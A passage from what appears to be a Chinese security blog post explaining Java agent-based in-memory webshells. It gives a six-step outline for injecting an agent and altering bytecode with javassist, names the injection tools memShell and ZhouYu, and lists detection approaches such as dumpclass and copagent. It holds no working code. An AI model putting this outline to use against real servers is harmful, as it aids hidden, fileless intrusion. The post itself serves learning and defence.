字节码修改库比较出名的有两种,asm和javaassist。前面提到了我们需要在类加载的回调函数中修改字节码,这项工作如果要我们自行编程实现是非常复杂的,所以我们需要借助工具。这里主要用到javaassist,我们只需要将我们想添加的java源代码准备好,传给javaassist的api,他就可以帮我们实现代码植入的功能。

有了这两大技术,就可以来梳理一下内存马的实现逻辑

  1. 找到目标jvm进程,注入agent
  2. 创建ClassFileTransformer,准备好回调函数
  3. 手动触发要修改的类重新加载
  4. 触发ClassFileTransformer的回调函数
  5. 使用字节码修改工具修改字节码,添加恶意代码
  6. 返回修改后的字节码给类加载器,完成类加载

工具源码阅读

在学习过程中,掌握了JVM Instrumentation和字节码修改库基本使用之后,就可以去看看现存工具的源码实现。我看到两个比较不错的植入agent内存马的工具,一是rebeyond师傅的memShell,二是三梦师傅的ZhouYu

前者出现的非常早,四年前rebeyond师傅就开始玩内存马了,可以说是这方面的先驱。当然,因为比较早出现,所以其中还是会存在一些小问题。

后者比较新,也积累了前人的经验做了一些改进,最明显的就是将恶意代码植入jar包和防止后续agent加载

通过这些工具源码的阅读,基本上也就对agent类型内存马注入方式了解的七七八八了。

防御思路

  • 针对需要调用方法注入内存马的类型(如servlet),可以hook对应的方法来防注入。弊端是容易被绕过,像filter这类不需要调用方法注入的就能绕过,而且容易hook不全。

  • 找磁盘文件,如果没有磁盘文件落地,很可能是内存马。缺点是可以通过重写getResource方法进行绕过。

  • 使用sa-jdi.jar找出可能是内存马的类,然后用dumpclass dump出来审计。然后再写一个agent将内存马类转换为磁盘上原来的类即可。这种情况主要是针对agent类型的字节码。

如果肯话费人工审计的成本,可以使用三梦师傅写的copagent来减轻人工审计的工作量。贴一下我阅读copagent源码时总结的流程图

image-20211101170524118

参考文章

Tomcat之Servlet内存马

基于tomcat的内存 Webshell 无文件攻击技术

JavaWeb 内存马一周目通关攻略

Java Instrumentation

memShell

ZhouYu

dumpclass

copagent